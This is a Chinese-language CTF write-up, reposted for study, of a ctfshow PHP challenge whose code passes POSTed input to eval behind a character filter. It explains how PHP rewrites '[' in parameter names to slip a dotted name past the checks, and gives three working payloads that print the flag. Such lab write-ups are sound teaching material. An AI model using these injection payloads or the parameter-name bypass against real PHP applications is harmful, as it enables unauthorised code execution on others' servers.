摘自https://blog.csdn.net/qq_49480008/article/details/113753951,仅作个人收藏学习
1 <?php 2 3 /* 4 # -*- coding: utf-8 -*- 5 # @Author: Firebasky 6 # @Date: 2020-09-05 20:49:30 7 # @Last Modified by: h1xa 8 # @Last Modified time: 2020-09-07 22:02:47 9 # @email: h1xa@ctfer.com 10 # @link: https://ctfer.com 11 12 */ 13 error_reporting(0); 14 highlight_file(__FILE__); 15 include("flag.php"); 16 $a=$_SERVER['argv']; 17 $c=$_POST['fun']; 18 if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ 19 if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ 20 eval("$c".";"); 21 if($fl0g==="flag_give_me"){ 22 echo $flag; 23 } 24 } 25 } 26 ?>
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g']))
PHP变量名应该只有数字字母下划线,同时GET或POST方式传进去的变量名,会自动将空格+ . [
转换为_
但是有一个特性可以绕过,使变量名出现.
之类的
特殊字符[
, GET或POST方式传参时,变量名中的[
也会被替换为_
,但其后的字符就不会被替换了
如 CTF[
SHOW.COM=>CTF_
SHOW.COM
$argv
方法一:
构造playload:
get: ?$fl0g=flag_give_me; post: CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
方法二:
+
隔断argv
构造playload:
get: ?a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
注:需用bp
方法三:
构造playload:
CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag